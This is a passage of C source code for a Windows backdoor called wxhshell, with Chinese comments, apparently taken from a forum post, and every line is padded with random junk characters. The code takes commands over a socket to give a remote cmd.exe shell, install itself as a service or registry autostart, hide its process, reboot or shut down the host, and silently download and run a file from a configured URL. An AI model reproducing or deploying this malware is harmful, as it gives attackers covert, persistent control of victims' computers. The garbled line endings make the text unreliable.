  } u)EtEl7Wq  
  else { f8K0/z  
&b:y#gvJ:  
    switch(cmd[0]) { z{BgAI,  
  GNHXtu6  
  // 帮助 uUp>N^mmVH  
  case '?': { 4#W$5_Ny  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L}Sb0 o.  
    break; )/!HI0TU  
  } eI`%J3BxR  
  // 安装 (5`(H.(  
  case 'i': { A]QGaWK  
    if(Install()) ;XNC+mPK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *>aVU'  
    else @ukL! AV?Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~)pZ5%C  
    break; o:UNSr  
    } )RFY2 }  
  // 卸载 9:%')M&Q  
  case 'r': { 1)}hzA  
    if(Uninstall()) G?~Yw'R^8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Q_Scxf  
    else !j  #8zN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u*\QVOF  
    break; Iw] ylp  
    } DI-&P3iGx  
  // 显示 wxhshell 所在路径 oEZhKVyc.y  
  case 'p': { J7WNgl% u  
    char svExeFile[MAX_PATH]; KX\=wFbP)  
    strcpy(svExeFile,"\n\r"); ErA*a3  
      strcat(svExeFile,ExeFile); ]n1#8T&<*z  
        send(wsh,svExeFile,strlen(svExeFile),0); 8:I-?z;S  
    break; StNA(+rT  
    } +Y+fM  
  // 重启 0%rE*h9+  
  case 'b': { 9. FXbNYg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (O:&RAkk7  
    if(Boot(REBOOT)) :`BG/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kG4])qxC'  
    else { j/wQ2"@a  
    closesocket(wsh); k;Qm%B  
    ExitThread(0); 2GigeN|1N  
    } |'}r-}  
    break; V@G|2ZI  
    } UaXIrBc  
  // 关机 ZZ}HgPZ  
  case 'd': { =mwAbh)[7n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P"Q6wdm  
    if(Boot(SHUTDOWN)) Wl&6T1A`"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +sZY0(|K8  
    else { UY *Z`$  
    closesocket(wsh); ze8MFz'm  
    ExitThread(0); BUL<FTg  
    } @Z""|H"0  
    break; g( "[wqgG  
    } ER!s  
  // 获取shell .db:mSrL  
  case 's': { 2S@Cj{R(  
    CmdShell(wsh); ^8ilUu  
    closesocket(wsh); E_D@ 7a  
    ExitThread(0); -idbR[1{?  
    break; T-s[na(/L  
  } >Wd=+$!I  
  // 退出 +4IaX1.  
  case 'x': { P|fh4b4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N- <,wUxf  
    CloseIt(wsh); 2jQ?-/Q8#  
    break; (A_H[xP  
    } .`D$.|!8g  
  // 离开 v~dUH0P<>e  
  case 'q': { F CfU=4O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W-1Ub |8C  
    closesocket(wsh); G&N),wsNZK  
    WSACleanup(); zLS?: yq  
    exit(1); 1TN+pmc}@  
    break; ?ZKIs9E[m  
        } vHymSU/J  
  } <&1hJ)O  
  } V22Br#+  
f0{ tBD!%  
  // 提示信息 up?S (.*B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FSZ :}Q  
} y>J6)F =  
  } 8Sf}z@~]  
~fpk`&nhe  
  return; aHle s5   
} sPX~>8}|VP  
cn_KHz=  
// shell模块句柄 RBeQT=B8~  
int CmdShell(SOCKET sock) *ES"^N/88  
{ >o"0QD  
STARTUPINFO si; Jj1lAg 0  
ZeroMemory(&si,sizeof(si)); Zqg AgN@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bwjLMWEVq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _(@ezX.p  
PROCESS_INFORMATION ProcessInfo; b]Lp_t  
char cmdline[]="cmd"; :7qJ[k{g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >6zWOYd  
  return 0; ,f~8:LHq  
} i[e-dT:*R  
K;g6V!U  
// 自身启动模式 b:*( f#"q  
int StartFromService(void) "? 5@j/ e`  
{ -A"0mS8L  
typedef struct g3'yqIjQL  
{ bXWodOSN  
  DWORD ExitStatus; 0o?2Sf`L\*  
  DWORD PebBaseAddress; u |ru$cIo  
  DWORD AffinityMask; <qxqlEQT  
  DWORD BasePriority; s(Fxi|v;  
  ULONG UniqueProcessId; XXW.Uios  
  ULONG InheritedFromUniqueProcessId; 1 u~.^O}J  
}   PROCESS_BASIC_INFORMATION; {*qz<U >  
HqA~q  
PROCNTQSIP NtQueryInformationProcess; ?trqe/  
W^9=z~-h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (=D^BXtH|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aD?ySc}  
5[$Tpn#K7  
  HANDLE             hProcess; J35[GZ';D  
  PROCESS_BASIC_INFORMATION pbi; ;MKfssG  
YksJ$yH^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >56;M7b(K  
  if(NULL == hInst ) return 0; ==W] 1@s  
[iG4qI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); URxy*)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z7?- c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gc:oS vm  
&G!2T!xx  
  if (!NtQueryInformationProcess) return 0; ].*I Z  
9Or  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l:"zYcp%  
  if(!hProcess) return 0; (qy82F-|2  
x4S0C[k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l`<u\],  
q;qY#wD@  
  CloseHandle(hProcess); JiHk`e`  
eRwm>l"fVV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^Ea^t.c}_  
if(hProcess==NULL) return 0; i<uk}  
P*8DM3':  
HMODULE hMod; )@.6u9\  
char procName[255]; UYOR@x #  
unsigned long cbNeeded; lJXihr  
,OaPrAt-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h*zHmkFR  
JdA3O{mT)  
  CloseHandle(hProcess); e^Lt{/  
`n`aA)|<  
if(strstr(procName,"services")) return 1; // 以服务启动 ef(OhIX  
7TGLt z  
  return 0; // 注册表启动 ^U@E rc#d  
} 0 8 aZU  
wWUt44:0O  
// 主模块 P}C;%KzA  
int StartWxhshell(LPSTR lpCmdLine) y@Ga9bI7  
{ YumHECej  
  SOCKET wsl; hj-#pL-t  
BOOL val=TRUE; 3SWO_  
  int port=0; [n;GP@A ]R  
  struct sockaddr_in door; /N(Ol WEp  
.UJjB}4$f  
  if(wscfg.ws_autoins) Install();  Wfyap)y  
6):^m{RH^  
port=atoi(lpCmdLine); q6 Rr?  
0hx EI  
if(port<=0) port=wscfg.ws_port; niP/i  
\A9hYTC)  
  WSADATA data; p4'Qki8Hd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h; 8^vB y  
$P%b?Y/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f^[:w1X$sM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3XomnL{  
  door.sin_family = AF_INET; #i~2C@]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hA_Y@&=W  
  door.sin_port = htons(port); By-A1|4Cp`  
!9JK95;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nd1%txIsr  
closesocket(wsl); ZSg["`  
return 1; 2OJ=Xb1  
} Epf[8La  
X$4 5<oz  
  if(listen(wsl,2) == INVALID_SOCKET) { aI0}E O  
closesocket(wsl); /SDDCZ`;|c  
return 1; XT 'v7  
} MX{p)(HW  
  Wxhshell(wsl); ir*T ,O 2J  
  WSACleanup(); H+ Y+8   
VY=c_Gl  
return 0; Kn<z<>vO  
F( Iq8DV  
} @`6db  
a\m@I_r.N  
// 以NT服务方式启动 JQ.w6aE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QX j4cg  
{ [J.-gN$X@  
DWORD   status = 0; zS##YR  
  DWORD   specificError = 0xfffffff; ]B"YW_.x2  
D.\s mk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; : {Crc   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J3B]JttU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;0f?-W?1  
  serviceStatus.dwWin32ExitCode     = 0; 'YcoF;&[C  
  serviceStatus.dwServiceSpecificExitCode = 0; gqf*;Z eU  
  serviceStatus.dwCheckPoint       = 0; T]tG,W1>i  
  serviceStatus.dwWaitHint       = 0; [:!D.@h|  
hVAP )"5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^K K6 d  
  if (hServiceStatusHandle==0) return; a:(.{z?nM  
s1eGItx[w  
status = GetLastError(); g :me:M  
  if (status!=NO_ERROR) m pWmExQ  
{ K8UgP?c;0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; elBmF#,j 7  
    serviceStatus.dwCheckPoint       = 0; _g(4-\  
    serviceStatus.dwWaitHint       = 0; YQI&8~z  
    serviceStatus.dwWin32ExitCode     = status; T]%:+_,  
    serviceStatus.dwServiceSpecificExitCode = specificError; phA^ kdW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $m;rOKVU  
    return; pU|SUM  
  } l}$Pv?T,2  
/J"U`/ {4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [z1[4  
  serviceStatus.dwCheckPoint       = 0; `E),G;I  
  serviceStatus.dwWaitHint       = 0; .D`""up|{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G3&l|@5  
} u-a*fT  
n^Qt !~  
// 处理NT服务事件,比如:启动、停止 T*%Q s&x ;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A:3:Cr  
{ 9aE!! (E  
switch(fdwControl) 6_# >s1`R  
{ d|9B3I*I  
case SERVICE_CONTROL_STOP: Lit@ m2{\  
  serviceStatus.dwWin32ExitCode = 0; tDl1UX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K)AJx"  
  serviceStatus.dwCheckPoint   = 0; S"Dw8_y7}  
  serviceStatus.dwWaitHint     = 0; c bk|LQ.O  
  { ? D?XaRb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D e>'  
  } p-=+i   
  return; Cku&s  
case SERVICE_CONTROL_PAUSE: X~O2!F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xsq+RBJi  
  break; F~cvob{  
case SERVICE_CONTROL_CONTINUE: SV4a_m?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2<*DL 6  
  break; 6Y|jK< n?H  
case SERVICE_CONTROL_INTERROGATE: ",\,lqV  
  break; 4$+9Wv  
}; FBYA d@="2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); < xm>_~,w  
} tnbtfG;z#  
z#8d\X/  
// 标准应用程序主函数  ;Q;u^T`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q-X<zn  
{ S1<mO-  
94umk*ib  
// 获取操作系统版本 +@Oo)#V|.  
OsIsNt=GetOsVer(); fXPD^}?Ux4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e7<//~W7W  
=U6%Wdth  
  // 从命令行安装 f*VBSg[`  
  if(strpbrk(lpCmdLine,"iI")) Install(); g9fS|T  
m8q3Pp  
  // 下载执行文件 7[wHNJ7)r  
if(wscfg.ws_downexe) { |Go?A/'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qFo'"z`84  
  WinExec(wscfg.ws_filenam,SW_HIDE); )19As8rL/o  
} LV'@JFT-  
9Se7 1  
if(!OsIsNt) { ^ $M@yWX6  
// 如果时win9x,隐藏进程并且设置为注册表启动 HeagT(rN'  
HideProc(); XCNfogl  
StartWxhshell(lpCmdLine); A Z7  
} S+Aq0B<  
else 5YlY=J  
  if(StartFromService()) Dl kHE8r\  
  // 以服务方式启动 (GVH#}uB  
  StartServiceCtrlDispatcher(DispatchTable); =|lKB;  
else KKR@u(+"a  
  // 普通方式启动 km; M!}D  
  StartWxhshell(lpCmdLine); ?NZKu6  
P&@:''  
return 0; Hnv{sND[  
}
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只看该作者 1 发表于: 2006-10-10
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